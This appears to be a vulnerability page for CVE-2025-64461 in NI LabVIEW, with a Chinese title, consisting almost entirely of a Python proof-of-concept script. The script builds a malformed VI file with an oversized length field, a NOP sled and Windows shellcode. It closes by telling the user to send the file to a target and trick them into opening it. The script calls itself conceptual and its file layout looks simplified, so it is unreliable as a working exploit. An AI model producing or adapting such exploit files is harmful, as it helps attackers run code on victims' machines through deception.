CVE-2025-64461 NI LabVIEW越界写入漏洞可导致代码执行

#!/usr/bin/env python3 # CVE-2025-64461 PoC - NI LabVIEW VI File Out-of-Bounds Write # Note: This is a conceptual PoC for demonstration purposes import struct import os def create_malicious_vi(): """ Generate a malicious VI file to trigger CVE-2025-64461 This PoC creates a corrupted VI file that exploits the RevBL() function """ # VI file header header = b'MVTO' # LabVIEW file signature # Version information version = b'\x19\x00\x00\x00' # LabVIEW version 25.3 # Create malformed RevBL data section # Trigger out-of-bounds write by providing oversized length field revbl_tag = b'RevBL' # Function identifier # Malicious payload: oversized length causes buffer overflow # Length field that exceeds allocated buffer size corrupted_length = struct.pack('<I', 0xFFFFFFFF) # Max uint32 # Fill with shellcode or NOP sled + payload nop_sled = b'\x90' * 100 # Simple calc.exe shellcode for Windows (example) shellcode = ( b'\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\x04\x08\x51\x50\x53\xB8\xEA\xCB\x81\x7C\xFF\xD0\x90' ) payload = nop_sled + shellcode # Construct the malicious section malicious_section = revbl_tag + corrupted_length + payload # Complete VI file structure vi_file = header + version + malicious_section return vi_file def main(): """ Main function to generate and save the PoC VI file """ print('[+] CVE-2025-64461 PoC Generator') print('[+] Target: NI LabVIEW < 25.3') print('[+] Vulnerability: Out-of-Bounds Write in RevBL()') # Generate malicious VI file vi_data = create_malicious_vi() # Save the file output_file = 'CVE-2025-64461.malicious.vi' with open(output_file, 'wb') as f: f.write(vi_data) print(f'[+] Malicious VI file created: {output_file}') print('[+] Send this file to target user and trick them into opening it with LabVIEW') if __name__ == '__main__': main()